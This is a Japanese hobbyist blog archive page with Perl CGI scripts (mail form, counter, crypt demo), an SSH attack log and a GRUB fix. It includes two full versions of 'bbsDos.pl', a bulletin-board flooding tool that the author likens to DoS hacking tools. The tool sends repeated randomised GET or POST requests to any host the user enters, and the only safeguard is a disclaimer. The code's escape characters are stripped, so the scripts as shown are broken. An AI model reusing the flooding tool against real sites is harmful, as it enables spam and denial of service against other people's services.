#!/usr/bin/perl #################################################### #ソフト名:ROS MailForm #作者:ORBIT #著作権: #ORBIT SPACEに帰属します。 #改造/変更/再配布に関して一切の制限はいたしません。 #自由にお使いください。 #################################################### #-------------------各種設定------------------------ #送信先メールアドレス $mailto = 'orbit@hogehoge.co.jp'; #サブジェクト(英語) $subject = "OP MailFrom"; #sendmailまでのパス $sendmail = '/usr/lib/sendmail'; #--------------------------------------------------- #モジュール使用宣言 use Jcode; $url = $ENV{"HTTP_REFERER"}; read(STDIN, $buf, $ENV{'CONTENT_LENGTH'}); my @buf = split(/&/, $buf); foreach (@buf) { my ($key, $val) = split(/=/); $key =~ tr/+/ /; $key =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("H2", $1)/eg; $val =~ tr/+/ /; $val =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("H2", $1)/eg; Jcode::convert($key, "jis"); Jcode::convert($val, "jis"); push(@key,$key); push(@val,$val); $in{$key} = $val; } foreach my $i (0 .. $#key) { if ($key[$i] eq "mode") { next; } if ($val[$i] eq "") {&end;} $mailbody .= "$key[$i]:"."n$val[$i]n"; } Jcode::convert($mailbody,"jis"); open(MAIL,"| $sendmail -t -i"); print MAIL "To: $mailton"; print MAIL "From: $mailton"; print MAIL "Subject: $subjectn"; print MAIL "MIME-Version: 1.0n"; print MAIL "Content-type: text/plain; charset=ISO-2022-JPn"; print MAIL "Content-Transfer-Encoding: 7bitnn"; print MAIL "$mailbodyn"; close(MAIL); &end; sub end{ print "Content-type: text/htmln"; print "Location: $urlnn"; exit; }
Category Archives: PROGRAM - Page 7
ROS MailForm
ROS カウンター
#!/usr/bin/perl ####################################################### #スクリプト名:ROS カウンター #作者:ORBIT #著作権:ORBIT SPACEに帰属します。 #著作権表示は一切行いません。自由にお使いください。 ####################################################### #各種設定 #------------------------------------------------------ #イメージの保存ディレクトリ $imgs = './img/'; #ログの保存場所 $ip_log = 'ip.log'; $counts_log = 'counts.log'; #------------------------------------------------------ #IPを取得 $ip = $ENV{'REMOTE_ADDR'}; #GETのデータから位を取得 $buf = $ENV{'QUERY_STRING'}; --$buf; #過去ログの取得 open (OUT,"$counts_log"); $counts_data = <out>; close(OUT); open (IP_OUT,"$ip_log"); @ip_data = <ip_OUT>; close(IP_OUT); chomp($ip_data[0]); if($ip eq $ip_data[0]){&img;} $ip_data[0] = "$ip_data[0]n"; #インクリメントして保存 open (IN,">$counts_log"); if($counts_data eq ""){$counts_data = "00000"}; ++$counts_data; print IN $counts_data; close(IN); #IPを記録 open (IP_IN,">$ip_log"); unshift @ip_data, "$ipn"; print IP_IN @ip_data; close(IP_IN); &img; # 画像表示 sub img{ #過去ログを取得し逆順に並べ替える @list = split(//,$counts_data); @img_list = reverse (@list); $nu = $img_list[$buf]; open(IG,"$imgs$nu.gif"); print "Content-type: image/gifnn"; binmode(IG); binmode(STDOUT); print <ig>; close(IG); exit; }
掲示板耐久性テスト プログラム Ver.2.0
今朝投稿した掲示板耐久性テスト プログラムをもう一度改良しました。改良点はGETでデータを送信していたのをPOSTでも送信可能にしました。もう少し短くできそうなものなんですがね。。。。。。
[flashvideo filename=https://www.orsx.net/wp-content/uploads/2009/08/bbsDos.flv /]
#!/usr/bin/perl ################################################# #ソフト名:掲示板耐久性テストプログラム #バージョン:Ver.2.0 #ファイル名:bbsDos.pl #作者:ORBIT #作者HP:https://www.orsx.net/ #※悪戯の目的で使用しないでください。 ################################################# #IO::Socketモジュールを使用する use IO::Socket; #Socketモジュールを使用する use Socket; #アクセス先ホストの指定 while($host eq ""){ print "X"x"50"."n"; print "URL(ホスト名)を入力してくださいn"; print "> http://"; $host = <stdin>; chomp $host; if($host eq "quit"){exit;} } #ポートを指定するかユーザーへ質問する print "X"x"50"."n"; print "ポート番号を指定しますか?[y/n]"; $q_port = <stdin>; print "指定しない場合は80番ポートへアクセスしますn"; chomp $q_port; #yが入力されたらポート番号が入力されるまで待機 if ($q_port eq "y"){ print "X"x"50"."n"; print "ポートを指定しますn"; print "> "; $port = <stdin>; chomp $port; }else{ $port = "80"; } #乱数を追記させるかを確認 print "X"x"50"."n"; print "送信するデータに乱数を追加しますか?[y/n]"; $r = <stdin>; chomp $r; #乱数を追記させるかを確認 if($r eq "y"){ print "X"x"50"."n"; print "乱数の文字数を指定してくださいn"; print "> "; $rr = <stdin>; chomp $rr; $rr = "1" if($rr eq ""); } #送信方法を確認 print "X"x"50"."n"; print "(GET/POST)どちらを利用しますか?[g/p]"; $net = <stdin>; chomp $net; if($net eq "p"){&post_set;} if($net eq "g"){&get_set;} #送信回数 print "X"x"50"."n"; print "ループさせる回数を指定してくださいn"; print "> "; $loop = <stdin>; chomp $loop; if($loop eq "" || $loop eq "1"){ $loop = "2"; $ex = "1"; } if($loop == "0"){ print "Error:0回のループは指定出来ません!n"; exit; } $loop-="1"; #スリープの設定 print "X"x"50"."n"; print "指定秒ウェイトを設定する場合は入力してくださいn"; print "> "; $slp = <stdin>; chomp $slp; #指定させた数字になるまでループ while($ex <= $loop){ #送信数のインクリメント print "X"x"50"."n"; $exd = $exd+"1"; print "$exd回目n"; #割合 if($loop ne ""){ $sa = int(($ex/$loop)*"100"); print "進行状況:[$sa%/100%]を完了しましたn"; $ex +="1"; } #送信サブルーチン呼び出し if($net eq "p"){&post;} if($net eq "g"){&get;} #スリープ print "$slp秒スリープしますn" if($slp ne ""); sleep $slp; } print "終了しましたn"; #------------------------------------------------ #サブルーチン #------------------------------------------------ #---------------------------- #GET #---------------------------- sub get_set{ #ファイルの場所の指定 print "X"x"50"."n"; print "URL(ファイルの場所と送信データ)を入力してくださいn"; print "乱数を追加しますのでコメントのname=で終了してくださいn" if($r eq "y"); print "> http://$host/"; $bbs = <stdin>; chomp $bbs; $bbs = "/".$bbs; } sub get{ #乱数格納 $bbs2=$bbs; if ($r eq "y"){ my @alph = ("a".."z"); my $result = ""; foreach ("1".."$rr") {$result .= $alph[rand(@alph)];} $bbs2.=$result; } #送信情報の出力 print "ホストへ以下の情報を送信中ですn"; print "$bbs2n"; #ホストへ接続を試みる $socket = new IO::Socket::INET ( PeerAddr => "$host", PeerPort => "$port", Proto => "tcp", ); #送信 print $socket "GET $bbs2 HTTP/1.0nn"; close($socket); } #----------------------------- #POST #----------------------------- sub post_set{ #ファイルまでのパスを指定 print "X"x"50"."n"; print "ファイルまでのパスを指定してくださいn"; print "> http://$host/"; $path = <stdin>; chomp $path; #送信データの確認 print "X"x"50"."n"; print "送信するデータを入力してくださいn"; print "乱数を追加しますのでコメントのname=で終了してくださいn" if($r eq "y"); print "> "; $data = <stdin>; } sub post{ $data2=$data; if ($r eq "y"){ my @alph = ("a".."z"); my $result = ""; foreach ("1".."$rr") {$result .= $alph[rand(@alph)];} $data2.=$result; } #送信情報の出力 print "ホストへ以下の情報を送信中ですn"; print "$data2n"; #ホストへ接続を試みる socket(SOCKET, PF_INET, SOCK_STREAM, 0); connect(SOCKET, pack_sockaddr_in($port, inet_aton($host))); select(SOCKET); $|=1; select(STDOUT); #送信 print SOCKET "POST /$path HTTP/1.0rn"; print SOCKET "Content-Length: ".length($data2)."rn"; print SOCKET "rn"; print SOCKET $data2; }
掲示板耐久性テスト プログラム
現在掲示板を作成中ですが、またしても脆弱性を発見しましたので、今回は開き直ってある程度性能のある掲示板連続投票ソフトを作成しました。一般的に言われる田代砲です。
通常はJava scriptで書かれていますが、勉強と関数の復習を兼ねてPerlを利用して作りました。
以前紹介したDoS.Perl.BBDoS.aを参考に作るならもっとセンスのある洒落たツールをと言う事で、乱数を追加して送信できる機能を取り付けました。田代砲とするなら乱田代砲と名づけましょうか^^;
私の知識不足でProxyリストを使い投稿ごとにアクセス元を変更する機能こそ付いていませんが、投稿内容が毎回変わるので掲示板管理者や作成者はとても対策に困る訳です。
※ (もちろん、一定時間ごとに投票させるスリープ機能は付けてあります。)
つまり、このツールを防げたらたいていの連続投票を防げるわけです。
※ このプログラムは悪戯目的に使用しないでください。
元はDos攻撃用ハッキングツールを参考にしていますので非常に危険です。
#!/usr/bin/perl ################################################# #ソフト名:掲示板耐久性テストプログラム #バージョン:Ver.1.0 #ファイル名:bbsDos.pl #作者:ORBIT #作者HP:https://www.orsx.net/ #※悪戯の目的で使用しないでください。 ################################################# #IO::Socketモジュールを使用する use IO::Socket; #アクセス先ホストの指定 while($host eq ""){ print "X"x"50"."n"; print "URL(ホスト名)を入力してくださいn"; print "> http://"; $host = <stdin>; chomp $host; if($host eq "quit"){exit;} } #ポートを指定するかユーザーへ質問する print "X"x"50"."n"; print "ポート番号を指定しますか?[y/n]"; $q_port = <stdin>; print "指定しない場合は80番ポートへアクセスしますn"; chomp $q_port; #yが入力されたらポート番号が入力されるまで待機 if ($q_port eq "y"){ print "X"x"50"."n"; print "ポートを指定しますn"; print "> "; $port = <stdin>; chomp $port; }else{ $port = "80"; } #乱数を追記させるかを確認 print "X"x"50"."n"; print "送信するデータに乱数を追加しますか?[y/n]"; $r = <stdin>; chomp $r; #ファイルの場所の指定 print "X"x"50"."n"; print "URL(ファイルの場所と送信データ)を入力してくださいn"; print "乱数を追加しますのでコメントのname=で終了してくださいn" if($r eq "y"); print "> http://$host/"; $bbs = <stdin>; chomp $bbs; $bbs = "/".$bbs; #送信回数 print "X"x"50"."n"; print "ループさせる回数を指定してくださいn"; print "> "; $loop = <stdin>; chomp $loop; if($loop eq "" || $loop eq "1"){ $loop = "2"; $ex = "1"; } if($loop == "0"){ print "Error:0回のループは指定出来ません!n"; exit; } $loop-="1"; #スリープの設定 print "X"x"50"."n"; print "指定秒ウェイトを設定する場合は入力してくださいn"; print "> "; $slp = <stdin>; chomp $slp; #指定させた数字になるまでループ while($ex <= $loop){ print "X"x"50"."n"; $bbs2=$bbs; #乱数格納 if ($r eq "y"){ $rr = rand("1000"); $bbs2.=$rr; } #送信数のインクリメント $exd = $exd+"1"; print "$exd回目n"; #割合 if($loop ne ""){ $sa = int(($ex/$loop)*"100"); print "進行状況:[$sa%/100%]を完了しましたn"; $ex +="1"; } #送信情報の出力 print "ホストへ以下の情報を送信中ですn"; print "$bbs2n"; #ホストへ接続を試みる $socket = new IO::Socket::INET ( PeerAddr => "$host", PeerPort => "$port", Proto => "tcp", ); die "Error:ホストに接続できませんでした!n" unless $socket; #送信 print $socket "GET $bbs2 HTTP/1.0nn"; close($socket); #スリープ print "$slp秒スリープしますn" if($slp ne ""); sleep $slp; } print "終了しましたn"
Perl HTMLソース表示 LWP::UserAgent
何か役に立ちそうだったのでメモしておきます。
#!/usr/bin/perl $url = "http://www.google.co.jp/"; use LWP; print "Content-type: text/htmlnn"; print "<xmp>"; print LWP::UserAgent->new->request( HTTP::Request->new(GET => "$url"))->content; print "</xmp>";
ん~何に使おうかな・・・・・・^^;
このモジュールの使い方も詳しく覚えないと
Perl Crypt関数
Crypt関数
$code = crypt(“pass”,”key”);
サーバーにLOGINパスワードを保存しておくのは
危険なので暗号化して保存しておけば気が楽です。
crypt関数を利用しDESで暗号化しようとインターネットで探していると
Crypt暗号生成CGI
このようなページを発見しましたので勉強の息抜きに
自分で上と同じような動作をするものを書いて見ました。
(上のプログラムのソースは見ていません。動作のみを参考にしました。)
※本プログラムはデコードに
jcode.plを使用しています。
※プログラムはご自由にお使い下さい。
#!/usr/bin/perl ################################################## # Cryptを利用した暗号化出力ソフト # # 作者:orbit # HP:https://www.orsx.net/ # ################################################## #------------各種設定------------ #このプログラムまでのURL $url = "crypt.cgi"; $hp_name = "関数CRYPTを利用した暗号化"; #------------各種設定------------ #-------------------------------- #メインルーチン開始 #-------------------------------- #デコード require './jcode/jcode.pl'; if($ENV{'REQUEST_METHOD'} eq "POST"){ #POSTで送信されたデータを変数$dataへ格納 read( STDIN, $data, $ENV{ 'CONTENT_LENGTH' } ); }else{ #GETで送信されたデータを変数$dataへ格納 $data = $ENV{'QUERY_STRING'}; } #&で区切られているデータを分解 @pairs = split(/&/,$data); foreach $pair (@pairs) { #=で区切られているデータを分解 ($name, $value) = split(/=/, $pair); #16進数に戻す $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; #タグの無効化 $value =~ tr/+/ /; $value =~ s/</</g; $value =~ s/>/>/g; $value =~ s/n/<br />/g; $value =~ s/t/ /g; $value =~ s/r//g; #ライブラリー内のconvertサブルーチンの実行 &jcode'convert(*value,'sjis'); $FORM{$name} = $value; } #-------------------------------- #HTML出力 #-------------------------------- #変数へ格納 $id = $FORM{'id'}; $pass = $FORM{'pass'}; #パスをキーで暗号化 $s_pass = crypt($pass,$id); #$passと$s_passが同じで無ければステートメントを実効 if ($pass ne $s_pass){&after}; &head; print <<html <h1>Crypt関数を利用した暗号化</h1> <form method="GET" action="$url"> ID:<input size="15" name="id" type="text" value="ORBIT SPACE"> PASSWORD:<input size="15" name="pass" type="text" value="www.orsx.net"> <input value="OK" type="submit"></from> <hr /> $come <br /> <br /> <br /> <small> <center> HP:<a Href="https://www.orsx.net/" Target="_blank">ORBIT SPACE</a> </center> </small> </body> </html> HTML ; #================================ #サブルーチン(結果出力) #================================ sub after{ $come = <<html $id / $pass >>>> <input size="15" type="text" value="$s_pass"> HTML ; } #================================ #サブルーチン(ヘッター) #================================ sub head{ #コンテンツタイプの指定 print "Content-type: text/htmlnn"; print <<head <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=Shift_JIS"> <title>$hp_name</title> </head> <body> HEAD ; }
CGI製 掲示板 β Ver2.4
この頃Perlネタが続いてますね・・・・・
1年も経つとサーバー管理もだいぶ安定して書く事も減ってきまして^^;
そういえばこのBlogももう少しで1周年ですね~
ORBIT SPACE(BLOG)創設日
2008年 8月 15日
なんか始めた当初は”3ヶ月で無くなるさw”なんて言われてましたが
ふと振り返ると1年とはずいぶん短いものですね^^
なにか1一周年を記念した特大ネタでも準備しないといけないのかな・・・・w
話は変わりましてサーバーといえばなんですが
毎度の事ですが相変わらずSSHへのアタックが酷いです
LOGから 2009/7/4
sshd:
Authentication Failures:
unknown (222.114.39.251): 1664 Time(s)
root (222.114.39.251): 314 Time(s)
mysql (222.114.39.251): 11 Time(s)
games (222.114.39.251): 5 Time(s)
gdm (222.114.39.251): 5 Time(s)
gopher (222.114.39.251): 5 Time(s)
news (222.114.39.251): 5 Time(s)
nobody (222.114.39.251): 5 Time(s)
postfix (222.114.39.251): 5 Time(s)
avahi (222.114.39.251): 4 Time(s)
ftp (222.114.39.251): 4 Time(s)
mail (222.114.39.251): 4 Time(s)
named (222.114.39.251): 4 Time(s)
root (61.139.33.207): 2 Time(s)
bin (222.114.39.251): 1 Time(s)
root (60.191.231.82): 1 Time(s)
uucp (222.114.39.251): 1 Time(s)
Invalid Users:
Unknown Account: 1664 Time(s)
ある特定のユーザー以外のrootやその他のユーザーでは先ずログインできませんし、
その特定のユーザーしかsudoも使えませんから問題は無いのですが
あまり気分はよくないものですね(苦笑
しかし、ボットからのアタックを避ける為に22番以外をポートを指定すると
色々と自分が困ってしまいます。
どうしようかな・・・・・・
あと
先日無停電電源装置を購入しました^^
現在バッテリーを準備中です。
夏場はサーバーの放熱対策もですが
クーラーなどによるブレーカーが落ちる事が怖いですからね~^^;
掲示板作成についてですが、
ほぼ完成と言っていいのでは?と言うレベルまで達してます。
自動インストール機能は付いてませんが
CGIを使った事が無い方でも簡単に設置できるように作ってます。
Ver1.0の頃よりはソースも読みやすいようになるように
って考えてますしどの環境でも動くように努力しています。
公開できないのが残念ですが(苦笑
掲示板作成の進行状況
Perl CGI プログラム専用 エディタ
現在、掲示板を作成しようと
日々ちょっとした時間を見つけノートにアイデアをまとめてる日々ですが
実際作成する時間が無く色々と困らされている分けで中々進みません。
そんな中
Perlプログラム専用に作られたエディタを見つけて案外使いやすかったので紹介します。
PerlEditor
とにかく見やすくて扱いやすいです。
今まで使ってたソフトは
ezhtml
Apsaly
etc…..
ezhtmlは気づけばリンクウエアになってましたし
Apsalyは色分けされてません
しかもどちらにも言える事ですが検索機能が使いづらい・・・・・・
検索する文字は合ってるのに確答しないなど
おぃ・・・・^^;
と思う事が度々ありまして困ってました
変数やサブルーチンそれから連想配列など隣に表示してくれるので
わざわざ探す必要が無いです^^
BIG FAT WARNING!! の解決
BIG FAT WARNING!! Failed to translate “/dev/sda3” into a device id.
If you want to use the current suspend image, reboot and try
again with the same kernel that you suspended from. If you want
to forget that image, continue and the image will be erased.
Press SPACE to reboot or C to continue booting with this kernel
Default action if you don’t select one in 25 seconds is: continue booting.
Suspend2 2.2.5: Missing or invalid storage location (resume2= parameter). Please correct and rerun lilo (or equivalent) before suspending.
kjournald starting. Commit interval 5 seconds
っと起動中にでるので修正しておきました。
/etc/grub.confが
# menu.lst generated by anaconda # # Note that you do not have to rerun grub after making changes to this file # NOTICE: You have a /boot partition. This means that # all kernel and initrd paths are relative to /boot/, eg. # root (hd0,0) # kernel /vmlinuz-version ro root=/dev/sde2 # initrd /initrd-version.img #boot=/dev/sda default=0 timeout=5 title Vine Linux (Current kernel) root (hd0,0) kernel /vmlinuz ro root=LABEL=/ resume2=swap:/dev/sda3 vga=0x314 initrd /initrd.img title Vine Linux (Previous kernel) root (hd0,0) kernel /vmlinuz.old ro root=LABEL=/ resume2=swap:/dev/sda3 vga=0x314 initrd /initrd.old.img
/dev/sda3になってたのでhdbに修正したら出なくなりました。
最近のコメント